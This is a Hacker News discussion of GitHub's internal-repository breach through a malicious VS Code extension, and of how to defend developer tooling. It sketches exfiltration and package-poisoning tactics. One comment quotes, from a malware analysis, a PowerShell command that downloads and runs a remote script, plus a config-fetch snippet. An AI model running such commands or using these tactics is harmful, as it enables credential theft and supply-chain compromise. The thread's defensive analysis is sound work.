GitHub is investigating unauthorized access to their internal repositories - https://news.ycombinator.com/item?id=48201316 - May 2026 (321 comments)
yesterday discussion https://news.ycombinator.com/item?id=48191680
The malware (be it a VSCode plugin, an npm package, or whatever is next) simply slurps up all of the users private keys/tokens/env-vars it can find and sends this off somewhere covertly.
It's trivial to do this in a way to avoid detection. The small payload can be encrypted (so it can't be pattern matched) and then the destination can be one of millions of already compromised websites found via a google search and made to look like a small upload (it could even be chunked and uploaded via query parameters in a HTTP GET request).
The hackers receive the bundle of compromised tokens/keys and go look at what they give access to. Most of the time it's going to be someone's boring home network and a couple of public or private github repos. But every once in a while it's a developer who works at a big organisation (e.g. Github) with access to lots of private repos.
The hackers can then use the keys to clone all of the internal/private repos for that organisation that the compromised keys have access to. Some organisations may have alerts setup for this, but by the time they fire or are actioned upon the data will probably be downloaded. There's no re-auth or 2FA required for "git clone" in most organisations.
With this data the hackers have further options:
a) attempt to extort the company to pay a ransom on the promise of deleting the data
b) look for more access/keys/etc buried somewhere in the downloaded repos and see what else they can find with those
c) publish it for shits and giggles
d) try and make changes to further propagate the malware via similar or new attack vectors
e) analyse what has been downloaded to work out future attack vectors on the product itself
Right now Github (and others recently compromised in similar ways) will be thinking about what information is in those internal repos and what damage would it cause if that information became public, or what that information could be used to find out further down the line.
"Customer data should not be in a github repo" is all well and good, but if the customer data is actually stored in a database somewhere in AWS and there's even just one read-only access token stored somewhere in one private github repo, then there's a chance that the hackers will find that and exfiltrate the customer data that way.
Preventing the breach is hard. There will always be someone in an org who downloads and installs something on their dev machine that they shouldn't, or uses their dev machine for personal browsing, or playing games, or the company dev infra relies on something that is a known attack vector (like npm).
Preventing the exfiltration is virtually impossible. If you have a machine with access to the Internet and allow people to use a browser to google things then small payloads of data can be exfiltrated trivially. (I used to work somewhere where the dev network was air-gapped. The only way to get things onto it was typing it in, floppy or QIC-150 tape - in the days before USB memory sticks.)
Detecting the breach is nigh on impossible if the keys are not used egregiously. Sure some companies can limit access to things like Github to specific IPs, but it wouldn't take much for the malware to do something to work around this. (I can see things like a wireguard/tailscale client being embedded in malware to allow the compromised machine to be used as a proxy in such cases.)
Alerting that requires manual response is nigh on useless as by the time someone has been paged about something the horse has already bolted.
Knowing what has been taken is also a huge burden. 3800 repos that people now have to think about and decide what the implications are. Having been through something like this in the past there are plenty of times people go "I know that repo, it's fine, we can ignore that one" only for it to contain something they don't realise could be important.
These kind of attacks are going to become increasingly common as they're proven to work well and the mitigations for them are HARD. It doesn't need to be targeted at all either, you just infect a bunch of different things and see what gets sent in.
If companies continue to not pay the ransom then we're going to get a lot more things published and many companies having to apologise for all manner of things that end up being leaked.
Not the first time we've seen a developer get popped thanks to a malicious game mod either...
I'd love to see a real example/PoC.
Anyway, we discussed this issue in the other thread. For me, unrestricted outbound requests to any url, whether it's well known domains like api.github.com or any other domain, are a red flag.
Why does VS need to establish outbound requests to any domain, without authorization?
There's no magic solution, and these attacks will evolve, but I still think that restricting outbound requests is a good measure to mitigate these attacks.
> slurps up all of the users private keys/tokens/env-vars it can find and sends this off somewhere covertly.
Isolating applications can also mitigate the impact of these attacks. For example, you can restrict VS code to only share with the host .vscode/, .git/ and other directories. Even by project. Again, it's not bulletproof, but helps.
The trick is to infect a plugin that has a legitimate reason for accessing the internet or running certain commands, and then coming up with ways to abuse that to exfiltrate the data. Or exfiltrating via DNS queries, or some other vector that isn't so obvious as "allow TCP/UDP connections to the whole world".
That or just repeatedly pester a user for permissions until one user (and you only need one within the organisation) relents and grants it.
> The trick is to infect a plugin that has a legitimate reason for accessing the internet or running certain commands, and then coming up with ways to abuse that to exfiltrate the data. Or exfiltrating via DNS queries, or some other vector that isn't so obvious as "allow TCP/UDP connections to the whole world".
They'll get there, maybe. But the reality is that right now, everyone allows outbound requests blindly.
Instead of speculating, I suggest to actually investigate current IOCs and common tactics of malicious npm/pip/plugins/VS extensions. Something like this:
https://github.com/evilsocket/opensnitch/discussions/1119
Or use OpenSnitch (or Lulu, Glasswire, ZoneAlarm anyone?:D etc) to actually analyze real VS malicious extensions or npm packages and see if it stops the exfiltration, and if not, suggest ways to improve it. For example:
https://markdownpastebin.com/?id=9c294c75f09349d2977a4ccd250...
It is 100% necessary, but doesn't stop most attacks quick enough.
If you're posting to github.com/acmecompany then attackers love to do things like add their own user github.com/acemcompany and just upload your data to that. Generally it doesn't last very long, but with CI/CD they can get thousands of keys in a minute and be gone seconds later.
I don't know but it's very standard practice in most applications, because telemetry. But VS code is one of the worst: just check open snitch when running VS code, it's constantly phoning to a bunch of IPs.
https://github.com/nrwl/nx-console/security/advisories/GHSA-...
https://github.com/nrwl/nx-console/issues/3148
So the extension basically rewrites files in `.github/workflows` and pushes them to GitHub, which then sends all the sensitive information to the attacker. It also attempts to plant a malware on the local machine, too.
My impression is that it would be hard for an OS-level sandbox to completely stop this attack. The sandbox needs to determine whether if a git push originating from an IDE is malicious.
Paying the ransom means your data still gets leaked and now you're out of money and embarrassed.
Why would they ever, ever, delete the data?
Last I heard, teenagers can deploy ransomware with minimal technical knowledge or skill.
vscode has no security model. It's not like swiss cheese where there are holes and some of the go all the way through. vscode is all hole with some cheese on the side. There is absolutely no isolation between the front-end process, the backend size (the thing that runs in the remote or the devcontainer), and any extensions or anything that might be in a repository whose authors you "trust".
This is my position as well, but it's rarely received well. Usually, a response like "why would I rewrite something that's already been written and available?" By writing the code, I know how it works. I know it is not infected with crap. I know it will not in the future be infected with crap from a down stream dependency. It seems to me this really took off with node to the point that it's laughable at what people will include with no thought at all. I know component libraries have existed for many other languages before, but node just stands out to me
And it’s also not like you’re going to literally write every piece of software you use, unless you’ve started all the way down at machine code you’re drawing the line somewhere on using code written by other people.
Dude, get real. We don't all have the luxury of being able to engage in endless IDE extension programming side quests just to do our day jobs. And even if we did, there's the reality that whatever you produce is probably not nearly as feature complete or bug free as the extension someone spent years writing. Hence why people want to reach for off the shelf solutions.
Ah, there it is. The root of most problems in the software industry: people who hate programming and avoid doing it as much as possible, because they only got into it for the money.
I have no problem writing extensions in my spare time because programming is fun. Because I know how to program, like, actually program and not just copypaste stuff off StackOverflow, it doesn't take years to write a vscode extension, either.
Yeah, not the case at all. I love programming, I've been doing it since I was a kid, for over 30 years. But I DO have to earn a living, and I'd rather spend free time programming things that interest me. Writing IDE extensions and tooling all the way down to the bare metal because I can't be absolutely sure at all times that node.js code doesn't contain a virus is not one of those things.
A vscode workspace can trivially execute code on the machine that runs the server end of vscode. (This is how building works -- there is no sandbox unless the workspace config explicitly uses some kind of sandbox.) So the workspace can usually trivially elevate permissions to take over the vscode server, including installing extensions on it without asking you.
In principle, there is a teeny tiny bit of isolation between the local and remote sides, so the remote side cannot trivially execute code on the local machine. But I recommend reading this rather long-standing ticket:
https://github.com/microsoft/vscode-remote-release/issues/66...
GitHub is investigating unauthorized access to their internal repositories - https://news.ycombinator.com/item?id=48201316 - May 2026 (321 comments)
https://github.com/nrwl/nx-console/security/advisories/GHSA-...
https://www.stepsecurity.io/blog/nx-console-vs-code-extensio...
...which in turn was caused by bad design of github's CI pipeline. Funny how it all comes back around like that.
I'm not saying it was whatwedo.twig, but I'm not saying it wasn't, either.
Edit: If anyone's got a good recommendation for a twig formatter for Cursor / VS Code, please let me know.
They also have an online demo/playground so you can at least give it a shot to see if it works.
I’ve used the twiggy LSP before and there seems to be a few VS code extensions for it: https://marketplace.visualstudio.com/items?itemName=moetelo.... and https://marketplace.visualstudio.com/items?itemName=Stanisla...
I wonder if it was open-vsx specific?
This seems to be confirmed here: https://socket.dev/openvsx/package/whatwedo.twig/versions/1....
Maybe they looked it up and there wasn't anything interesting but then why take the risk for this kind of money?
Something doesn't make sense.
You have to take their words for it but how can you trust crooks?
Because these are repeat actors. If they take a ransom and then re-sell it, no company will pay them ever again.
Don't think of experienced criminal enterprises as "groups of irrational scoundrels." They are companies, with employees, who understand game theory.
It is a blind auction with a $50k minimum bid.
The ones used for running the site itself.
Though, its so many that i think there are some customer ones in there too.
When I left about a year ago, we had just started (after being on Github for almost 8 years) an ongoing project of first archiving old/outdated repos in place, and then moving them to an "archived" sub-org, and waiting to see if anyone complained.
Previously no one wanted to outright delete or remove repos because of the risk that someone somewhere was relying on it, and also there was no actual downside to just leaving them there (no cost savings, no imminent danger other than clutter, etc), so resources were never allocated to do it. There was always something more important to work on.
In an org with a higher floor of engineering management, a proactive program for removing unused or outdated repos would absolutely be expected though I think.
Some of those could be forks.
And it was each team owning multiple internal repos of their own deployments/libraries, and not, primarily, clones of public repos.
AI is making this even worse. With coding agents, anyone can throw together a quick internal prototype of any idea they have, even if it has no hope of ever making it to production.
Probably some old experiments in there but the company had its fingers in a few pies and some departments didn't mind creating yet another service to solve a problem.
I definitely archived the old stuff in my department (we had eight repos and that felt like enough for three people).
How many folders do you have on your computer with some bits of code? It's probably not a terrible practice to add those folders to GitHub.
Across a big engineering company that can easily add up to way more than 3,800!
MS and Github need their number to go up, not having people cleaning up their repos to avoid any loose ends.
I have hundreds of them, it took me a few hour to delete the unused ones. In a medium size org with thousands of them, it will take weeks for security to do a cleanup.
If you're just a user running containers under Podman, it's more tricky.
Which is really insane when you think about it. Plan 9 had this sorted out decades ago.
Plan 9 was designed, Linux accreted.
Looks like it
- Enable audit log streaming[1] on your enterprise including source IPs and API requests, even if it’s just going to an S3 bucket nobody looks at it, your incident response team will thank you later.
- Enforce the use of SSO on your GitHub organization[2], not just because SSO is good but because it forces an explicit authorization action[3] by users to grant an SSH key/PAT access to your organization resources, instead of granting access implicitly. That way the PAT created for someone’s weekend project won’t have access to your organization resources.
- Enforce an IP allowlist[4] for your organization from a set of known trusted VPN/corporate IPs. This is by-far the strongest control (and the most painful to rollout) as it will prevent stolen credentials (even if still valid) from being used by an attacker except on the intended systems where you (hopefully) have other visibility/alerting via EDR or related tooling.
- If you can, restrict access from personal access tokens[5] to your organization resources. Blocking classic PATs and enforcing a maximum expiration (ex: 3 months) on fine-grained PATs is a great way to reduce risk if you can’t eliminate PATs altogether[6].
- If you use GitHub enterprise (on-prem), configure collection of the raw HTTP access logs[7] in addition to native GitHub audit logs, it may prove critical during incident response.
[1]: https://docs.github.com/en/enterprise-cloud@latest/admin/mon... [2]: https://docs.github.com/en/enterprise-cloud@latest/authentic... [3]: https://docs.github.com/en/enterprise-cloud@latest/authentic... [4]: https://docs.github.com/en/enterprise-cloud@latest/organizat... [5]: https://docs.github.com/en/enterprise-cloud@latest/organizat... [6]: https://edu.chainguard.dev/open-source/octo-sts/overview/ [7]: https://docs.github.com/en/enterprise-server@3.16/admin/moni...
I mean, I understand that it is hard to sandbox Node.js applications, but apparently Microsoft has put way more effort into their Copilot slop than security.
[0] https://github.com/microsoft/vscode/issues/52116
Your security or their money (selling Copilot to enterprise customers): what would they choose, hmm? Surprise!
Just don’t install crap maybe.
Don’t attack individuals for mistakes of a system.
Migrate off vscode already.
Zed is the closest thing I've found to meet my needs, and I do plan to try it. However it's dev container support looks to be lacking in some important ways so we'll see.
Part of what seemed good about Zed was that extensions have explicit permission controls.
I guess I'd say "you take my VS Code ... willingly ... but only after M$ fucks it up and makes me not want it anymore (like they've done to everything else they acquired)".
Doesn't have to be. It's been empiracally proven the case for MS time and again. How many times do you need it to happen because you treat it as the default?
Not for lack of trying, the amount of CoPilot cruft bundled with the core IDE is growing quarterly.
Every updates release notes is like 90% “now with more copilot plz use it.”
And are you a vscode original? or came from vim/emacs?
I beg to differ. Have you inspected its network traffic?
Yes, very definitely.
Can you?
It's not the IDE, though. Any extensible, customizable display editor can be coerced into behaving badly by installing external code. Even this one: https://www.gnu.org/software/emacs/emacs-paper.html
The root(-ish) cause here is the ease of publishing and installing extension code, and in particular the fact that there's no independent validation/verification step between the upstream author and armageddon. And upstream authors aren't set up with the needed precautions themselves, they're just hackers.
Basically if you phish Just One Account with write access to an extension you wan pwn everyone who's running it.
But I think only VS Code (And Jetbrain's ones) is so pushy about installing extensions. With Emacs, you actually have to go find them and install it. And then you actually have to make a conscious effort to update them. Same with vim. I'm pretty sure VS Code enable auto updates. And I would guess the people publishing Emacs's package and Vim's plugin are way more conscious about security.
If you start with an IDE first you likely need far fewer extensions.
True developers just scream at the universe and it responds with cosmic radiation that flips the correct bits to form the binary code they intended.
Features that would, incidentally, be obviated by making just a bit of a better effort to be better managers of the filesystem and ones' source code - and thus: become more competent developers.
There is a limit to the positive impact of convenience features in any tools, not just IDE's. We are seeing that limit being broached with every exfiltration of repo keys attributed to VSCodes' crap anti-user architecture ...
You'll scream at the universe when it happens to you.
I can assure you I am not.
The sarcasm was because this suggestion is ridiculous IMO. It's like saying "Tesla refuses to use state-of-the-art LIDAR for their attempts at an autonomous vehicle, therefore I shall only travel in vehicles that have both a driver and a conductor, and are propelled by beasts!".
VSCode being a turd isn't a reason not to use an IDE. It's a reason to use an actual IDE, rather than a glorified text editor, with the aforementioned millions of shonky plugins trying to recreate IDE levels of functionality.
But here's the point: All IDE's eventually become liabilities as they attempt to become an operating system.
Better to just use a text editor, learn to use the build tools, navigate the filesystem with tools that don't have plugins sourced from external sources, etc.
Of course, if your language and execution environment of choice don't allow this, thats another thing entirely. I know you can't do proper javascript development without an IDE - and that's the issue, actually. You shouldn't need a special editor with bells and whistles to do development, and on that point I agree with you entirely.
I'm not saying its package ecosystem isn't vulnerable to these kind of attacks, it is, but it's at least developed by folks with very different goals and ambitions than Microsoft.
[0]: https://github.com/emacs-mirror/emacs/blob/master/etc/NEWS
Another thing is that some packages are old. Seeing an update out of the blue would be very strange. And for packages that are updated more often, I guess the maintainer would be quite surprised to see a new commit they’ve not approved of.
1. Create a new Emacs package, create a PR to register my GitHub repo as a new package in MELPA's repo, and wait for them to accept the PR. Ideally the plugin should be benign at this point.
2. Wait for people to pick up this new extension, while it's still benign.
3. Push the malicious version to my own GitHub repo. MELPA will automatically pick it up, build it, and package it.
4. Anyone updating their Emacs packages from MELPA or installing it from MELPA will pick up this malicious version.
Now, this does require that the malicious code is visible on the extension's GitHub page; I'm not sure if this would be true on VSCode as well.
Good luck on that. Check the most popular packages and they all belong to fairly well known people in the community. If it’s something small, people usually just copy the relevant bit to their config. And rarely do huge systems pick up users without active advocacy (helm, ivy, vertico, company, magit, consult, hyperbole, emms, org-mode,…) which means collaboration and plenty of people looking at upstream.
But the issue is not new users picking up unconfirmed packages. It’s about active employees getting compromised by extensions they trusted. As the nature of packages update is opaque and the default settings leave you vulnerable.
If you go on magit’s page on melpa, you get the commit id used for the build and if you wanted too, you could diff the files with upstream. Everything is transparent. Meanwhile what you got on marketplace is whatever is pushed by a token.
And another nice thing about packaging system like emacs is that they rely on peer dependencies instead of pulling their own from the internet. Which is nice, because when a bug is patched, you update that single dependency and you’re done. No need to update every package that depends on it.
Very, very few people, even in tech circles, check the sources of all of their dependencies. Sure, compromising magit's sources will be hard - but you don't need to compromise magit. Just compromise one of magit's dependencies and watch the malware spread.
Edit: in fact, you don't even need to compromise Magit's dependencies. Since the developers of Magit probably use Emacs themselves, you can probably just compromise some small Emacs package that happens to be used by someone on the Magit team, get access to their repo from there, and then you actually may be able to compromise Magit itself (depending on how strict their code review etc rules are).
If these claims were true, why don't they point the agents at the numerous stability and security issues they have across their various platforms?
I use Emacs for my day-to-day stuff. I don't think Emacs extensions are more secure by design. Pretty sure that, if I wanted to, I could craft an extension that does bad things. I'm not sure how hard it would've been to sneak it past MELPA or (is there really anything else people are using these days? Used to be Marmalade, but I think it's gone), but, it's people, and people make mistakes, so, there's some % chance that a bad extension can be inserted there. Such security problems happen to a lesser extent (if at all?) in the Emacs world because of the size of the user base. It's simply impractical to target a small community, as it's always a numbers game.
Very unwillingly, and with a lot of contempt, I use Android, where this "explicit permissions system" you speak of exists. There are many reasons to hate Android, and the "explicit permissions system" is a prominent member in that collective.
Companies like MS, Google etc. always default to this way of solving their security issues: by restricting their users from doing useful things. They model their users as a herd of brainless lemmings who must be herded with an iron fist in order for them not to plunge to their deaths (yes, I know, real-life lemmings don't do that, but we all know the metaphor). And this tactics is so common that the MS-lemmings learn to yearn for it.
The solution I want to see to this and similar problems is two-fold:
1. Users learn to use their tools.
2. Users learn to treat important information on their computers in a more defensive way, if they open the door for outside, potentially bad, software providers.
This is, of course, a pie in the sky sort of wish... But, imagine it was achievable, wouldn't the world be a better place? Now, I believe it's possible to approach these goals gradually, and it would still be better than a system imposed by the software provider that prevents users from doing useful things.
For example, Emacs has a mechanism to prompt users when attempting to use a particular functionality. Some of it is because the functionality can be surprising for the novice, some of it is because it could be dangerous from the security standpoint. So, in principle, VSCode could do that too. Eg. a user would have to interactively grant its extensions permissions to call whatever functionality within the editor, while some "dangerous" functionality would have to be removed from the JavaScript runtime available to VSCode and only made available in this interactive way (eg. when JavaScript code in VSCode extensions wants to call exec() or similar, it would have to call an overloaded exec() provided by VSCode, that would inform the user that such-and-such extension wishes to run such-and-such command, and that it needs their permission to do it).
That Just Won't Happen. Especially not in a corporate/government setting. In my experience, it's rare for people to actually want to improve how they work without there being external pressure. Workflows once learned become very, very hard to unlearn and it's already a massive issue when you are responsible for a piece of business software that's used by a hundred users - I once was on a team responsible for the software used by tens of thousands of people. Major changes always, always had to be accompanied by training material and the time for that training had to be budgeted as well.
A large part of the issue is cultural/financial realities. People are already overloaded with work as penny pinchers think it's wise to keep people at 100% utilization leaving no gaps for anything - they know that if they become more efficient, their workload will not go down, their bosses will just dump more things on their table. And people don't want to train for their job if they're not paid for it, as well.
Please, read what you quoted to the end. The answer is right there.
Anyways. Here are examples to the contrary: cars and driving. Somehow, collectively, we realized that driving requires learning the tools to a minimal proficiency level. This doesn't prevent anyone from driving a car w/o a license (a document certifying one's learned the tools), but it puts the blame for a certain category of accidents on the driver, thus making it unnecessary to demand absolute road safety from car manufacturers.
What if we treated computers more like cars? Perhaps, in a situation like this, products s.a. VSCode wouldn't even exist in the same way how there aren't cars that don't come equipped with safety belts?
Right now, parent suggests, metaphorically, to equip cars with a system that plans the route in advance, has a required number of passengers for each planned trip and won't even open the doors unless the car reaches its destination. This is what "explicit permission system" is to a computer user lucky enough to have avoided most of the MS / Google / Apple and Co products.
There's no connection to authoritative approval, other than making ecosystems without or without that kind of strict approval safer.
I'm also mirroring public ones to Codeberg.
I'll write about it when I'm done.
- disable auto-updates for extensions in VS Code/Cursor
- use static analysis for GitHub Actions to catch security issues in pre-commit hook and on ci: https://github.com/zizmorcore/zizmor
- set locally: pnpm config set minimum-release-age 4320 # 3 days in minutes https://pnpm.io/supply-chain-security
- for other package managers check: https://gist.github.com/mcollina/b294a6c39ee700d24073c0e5a4e...
- add Socket Free Firewall when installing npm packages on CI to catch malware https://docs.socket.dev/docs/socket-firewall-free#github-act...
If you don't (or can't) install extensions, it also doesn't matter which IDE you use.
Take for example this activity from a malicious extension:
This code makes an HTTP GET request to https://solidity[.]bot/version.json that includes the system’s platform string in the headers.
powershell -ExecutionPolicy Bypass -Command "irm https://solidity[.]bot/a.txt | iex"
This PowerShell command downloads and executes https://solidity[.]bot/a.txt, a suspicious action that, when coupled with the use of obfuscation in extension.js, indicates malicious intent.
Or this one:
const CONFIG_URL = 'http://clawdbot.getintwopc[.]site/config.json';
function fetchConfigAndRun() {
http.get(CONFIG_URL, (res)
https://www.aikido.dev/blog/fake-clawdbot-vscode-extension-m...
so maybe it's not bulletproof, but it helps to mitigate these threats.
> for other package managers
For other js package managers. Sadly such functionality seems far less common for c# (nuget) or rust (cargo).
> add Socket Free Firewall when installing npm packages on CI to catch malware
It appears that functionality depends on blacklisting malware from being downloaded? But don't the repositories (npm, etc) take down malware once it's identified - is socket actually blacklisting malware faster than npm? That sounds unlikely, but maybe? For the vs code extension from the op post, it seems like it was live for like 18 minutes on the official vs code marketplace, and slightly longer on openvsx as ms sadly doesn't allow vs code clones to use the official marketplace.
"They have changed, gramps. This really smart Satya Nadella is CEO. They are the good guys now. Don't be so bitter over old stuff like systematic use of illegal tactics to attempt to kill all of its competitors including Linux."
Also: Note that the headline undersells the news dramatically. The article begins with:
"GitHub has confirmed that roughly 3,800 internal repositories were breached after one of its employees installed a malicious VS Code extension."
a) Waggener Edstrom (now: WE Communications) or similar
b) Microsoft employees
c) Third-party Microsoft-only developers/IT people (with an obvious vested financial interest)
Guess what they did a year ago.
They removed 700 or so packages from NuGet proactively but those turned out to be false positives.
It is hard to do the right things.
FTFY
I want to see his reaction trying to type a message on the iPhone keyboard from anytime in the past 7 years.
Or navigate the random nonsensical grouping of stuff in settings that got so out of control they added a search bar or watch a pip video or really use anything. Every feature has some sloppy problem.
It used to be excusable as nobody else was trying and they’d be working to fix it. Now they just add a feature that’s sub par to things already out there, no innovation, and then it feels sloppy. Most things just don’t feel good to use down to the size and weight of phones now. Rather than fix the problem Apple just keeps copying the homework and claiming they can’t fix perfect.
Steve would be punching holes in the wall. Probably would stomp a hole through the floor to strangle the keyboard team
If you want to use extensions or node packages or pypi packages without doing a detailed review you're accumulating technical debt. You're assuming a risk in order to ship rapidly. You can either pay that down at some point under control, or bear the interest when it comes due.
Emacs, vim/nvim, intellij, etc… pretty much all vulnerable to such an attack
Reality is most devs wouldn’t be satisfied with the limitations proper sandboxing would create.
They probably should have some permission system where the default extension is only able to operate within the repos open at the time and has no internet access. Then you can grant internet access for the ones which genuinely need it.
The majority of VS code plugins are just syntax highlighers and linters which don't need any dangerous permissions.
A fine grained token is likely to have read access to the IaaS repo as that is likely the very repo they are operating on when the malware compromises them.
3800 repos up for blackmail may make a good headline but it's likely that Github don't really care about 3798 of those repos being made public. It'd be annoying for those 3798 to be made public but they can deal with that. It's the 2 repos that contain really important stuff that they really don't want to be made public. You can't rely on fine grained tokens to limit the leak of these things as, at some point, someone with that very access will get compromised.
Limiting TTL on tokens/auth isn't a perfect solution either. If the token is leaked via some malware it can be used to clone repos within minutes (even seconds) of being leaked. No-one wants to have to perform 2FA every few seconds in order to get on with their day.
IP based restrictions may help, but then the malware would probably evolve to include a tailscale/wireguard key so that the clone/exfiltration is done from the existing IP address and then the data is proxied away separately.
Future dev environments are going to be heavily sandboxed in terms of "do github stuff in this sandbox, copy files to another sandbox to do package updates, vet everything coming back, etc"
agree generally with what your getting at though: doesn't solve this problem. but even just a basic reduction in blast radius would be nice.
Having to switch between accounts with different tokens with vastly pared down access is going to feel quite restrictive and suffocating.
Some devs won't have the patience to wait for some other department to vet and import a new npm package, or the latest update to it, before it can be used.
Some devs will be frustrated not being able to run their favourite IDE which isn't on the approved list, or their favourite plugins which haven't been vetted yet.
Some devs will get annoyed that they have to reboot more and more frequently to get the latest OS updates because things like Copy-Fail/CVE-2026-31431 appear out of nowhere and can be weaponised by malware to break between accounts or out of VMs and other sandboxed envs to get access to more keys/PATs/etc.
Another alternative is endless MFA requests which leads to request fatigue and accidentally approving the malicious/unwanted action.
It's going to be interesting how the industry deals with all of this. I can see it getting a lot worse with some even more significant breaches before it starts to get better.
And vim has package managers that make installing and updating packages as easy as vs code.
VS Code like npm are only the targets because they are the most popular, not because they are uniquely vulnerable.
grep
> go to definition
/definition
Not even using vim, I'm more of a micro person.
It's gotten a lot worse (and made news) more recently, as the downtime as increased.
> I'm more surprised hackers found a large enough uptime window to do this.
Certainly not a novel thought. But may I suggest you brush up on https://pbskids.org/games/play/sorting-box/487
A company that wants to remain secure would have to employ strict restrictions on installing software. Only installing npm packages and plugins from an internal preapproved repo for example.
One would need some kind of ring system where less privileged processes can call higher privileged processes with their own sandbox permissions.
For example, Android already allows you to give apps restricted access to your media. My understanding of the way it works is that the resulting interface for picking photos etc. is not under the control of the app. The app only receives whatever file you picked.
I do agree though that it is incredibly important to start taking sandboxing seriously. But there is a lot of difficulty and friction, and most of the users will scream and cry about extensions being limited.
Yes you can. Extension systems of today have multiple problems that prevent that. The basic assumption that has to go, though, is that a core application like VSCode can be written once, then be extended to infinity without the core evolving. That's an assumption you see everywhere in extension systems, and it restricts everything to "features or security, but not both".
Taking your examples:
> run a locally installed linter
VSCode and its extensions have certain files opened. The linter can do much less if it gets read-only access to those files, but not write access and no other files, not the open internet or something.
This has then to be coupled with those permissions being displayed before installing, allowing them to be reviewed by users as well as plugin repo curators. Basically listing those permissions as declarative metadata.
Because then a user or curator won't see "this plugin can read and write all your files" but "this plugin can read (but not write) the files being opened by VSCode". If the plugin wants to exfiltrate those files, the permissions would also list "this plugin can send HTTP requests to totally-legit-site.ru" instead of "this plugin gets arbitrary internet access".
Main lession: permissions are WAY too coarse. But if they are fine-grained, they will soon no longer match the evolution of extensions, so the core system has to evolve too.
> view the status of docker containers
"This plugin can view the status of all docker containers started by other VSCode extensions in the same VSCode window".
> users will scream and cry about extensions being limited
Are those the same users? We might need two different products here, "feature VSCode" and "secure VSCode".
You can always improve, but pretending like there’s an easy solution is lazy - if it was easy it would have been done.
> You can always improve, but pretending like there’s an easy solution is lazy - if it was easy it would have been done.
I claimed that it is possible, not that it is easy.
Browsers have a different problem - they protect different websites against each other. The IDE should probably protect you against extensions being able to access arbitrary files on disk, but even that’s difficult (eg a bundled linter often wants to read user defaults in a central location. But protecting even further than that is even harder, especially as here where the access was to the actual repo not anything else.
Securing VS code would require making malware that has access to the system impossible, not just making it add a permission to the permission list.
Also, historically, permission lists have been fine-grained but too coarse at the same time, meaning they were "fine" in the wrong way, based on what is easy to implement instead of what the user needs.
You regularly run tons of untrusted code when visiting websites. That code can't wreak havoc on your machine because it's well-sandboxed. Yet, if we advocate for sandboxing in more places, the "gun nuts of tech" scream about monopolistic practices and taking away user control.
I rarely see people complain about sandboxing.
What people complain about is when devices are locked down in a way where you are only allowed to install software that is approved by a central gatekeeper, even though sandboxing is in place that should make it far safer to run arbitrary safer than on traditional desktop systems.
When all I wanted was for VLC or similar to run in a sandbox by default where a plug-in I install can't do anything to my system or access the internet by default because the software itself is restricted to just the files I'm using and that's it.
It's in the works and one day we will have it but progress is slow.
The problem is... it's hard to scope. A media suite such as VLC, simply by what it is intended to do, needs a lot of permissions. Read data from physical media drives (CD/DVD/BD), preferably directly against the device to circumvent DRM. Access the network 0.0.0.0/0 1-65536 TCP and UDP to be able to play all sorts of streaming media. Access all files the user has access to on the computer because everything can be a media file and no operating system available does MIME type detection. Write to files on the user's computer to do stuff like format conversions and screen recordings. Access the screen framebuffer and the user's microphone for said screen recordings. Open network listen sockets to be a streaming endpoint.
Unless filesystems get a distinct metadata field to each file, there really is no viable way to sandbox it.
I think one issues has been having code hosting/build systems/deployment pipelines under one ecosystem with non scoped keys. Especially your deployment keys should be on a service that only interacts with inert archive (no building or downloading anything).
We've had the solution to shit like this, and it's called the SecurityManager in Java. No one wants to configure the damn thing, but it is there. Also, auditing the code you pull in. Yeah. Reading code sucks. Yeah. It's a lotta work. But if you don't check, you don't effing know.
All y'all want the fun of unprotected sex (rawdogging the ecosystem) and are starting to get burned by the VD's we old-timers have been hollerin' at you telling you will be coming the more you do this promiscuous dependency inclusion.
But hey. Enjoy it I guess. No skin off my nose.
While I do generally agree with this sentiment, it’s not always possible in the ways you imply:
- Plenty of systems pull packages that are not human readable. For example WASM plugins. Or it might even by in unfamiliar languages such as a Python package calling C.
- You might argue that “if you cannot understand the code then don’t use the package” but that isn’t always practical. Security packages will include maths that is beyond the average software engineer. Other performance-critical packages (such as libraries in the ML space) will have highly optimised code that isn’t easy for the average developer to read through.
- Some supply chain attacks have been targeting popular packages. So now you need to re-read every single point version (!!!) on every update. Heck, even using lock files to the patch version in semver might not save you for some language ecosystems because you can overwrite git tags. So a package version that is safe on your local machine might end up compromised when compiled via CI/CD.
- And then there’s CI/CD itself. We are seeing supply chain attacks in GitHub Actions plugins. So now you have to pin all of your actions to their SHA instead of semver.
There definitely needs to be a better security model to support developers because the current status quo makes it very hard to vet everything you run, and very easy to fuck up. In all other fields of IT, we’d say that was a failure of the process rather than a failure of the individual.
I’ll tell my employer to put the feature on hold for 20 years while I read the source of every package.
Sandboxing plugins is pretty much universally desired? You seem to be conflating this with the issue of platform gatekeepers deciding which software is allowed to run on our own hardware
At this point I try and get the most done with the least amount of extensions period. That and trying to get the rest of my code off of Github is the other.
Sublime's de facto package control repository is handled by an Uber engineer and father of 5 in his spare time, not someone currently at Sublime per https://packagecontrol.io/about / https://packagecontrol.io/say_thanks and his linked site.
VS Code Marketplace seems to have a number of protections in place: https://code.visualstudio.com/docs/configure/extensions/exte... / https://code.visualstudio.com/api/advanced-topics/extension-...
It also appears that Sublime doesn't have sandboxing: https://github.com/sublimehq/sublime_text/issues/6915
> I love to see …
Be kind to others. https://news.ycombinator.com/newsguidelines.html
> "VSCode is perfect"
Is the claim "VSCode is perfect" one that you've regularly run across, that you specifically called it out?
(I'm personally happy that multiple editor options exist.)
(Separately, it doesn't help that MS doesn't allow VS Code forks to use the official marketplace, including as verified publisher doesn't seem to exist there - example: https://open-vsx.org/extension/esbenp/prettier-vscode )
(Ancillary links: https://code.visualstudio.com/docs/configure/extensions/exte... / https://marketplace.visualstudio.com/VSCode )
https://github.blog/security/investigating-unauthorized-acce... links to https://github.com/nrwl/nx-console/security/advisories/GHSA-... Nx Console
I was also toying with comparimg timestamps of git tags / GitHub releases / GitHub actions / plugin update timestamps as one indicator of potential tempering.
But not ideal.
So great that they removed the extension! Do they do it only after their own employee was infected? And why "unnamed" extension?
> “unnamed”
Why is “unnamed” in quotation marks?
How is this not really, really bad?
Security researchers identified a series of exploitable vulnerabilities in github.com by using LLMs to review the compiled GitHub Enterprise Server binaries: https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-38...
Me: "Okay, I'd like to make signed trusted code, how do I do that?"
Microsoft: "don't worry, we have the most expensive and tedious signing process in the industry."
Me: "okay, will users be properly protected from malicious code then?"
Microsoft: "Nope!"
All used techniques and mitigation strategies, including this one: https://npm-supply-chain-attack-techniques.pagey.site/
Problem is: most employees don’t care to read these. Although I’m sure something like this could have been checked for during commit.
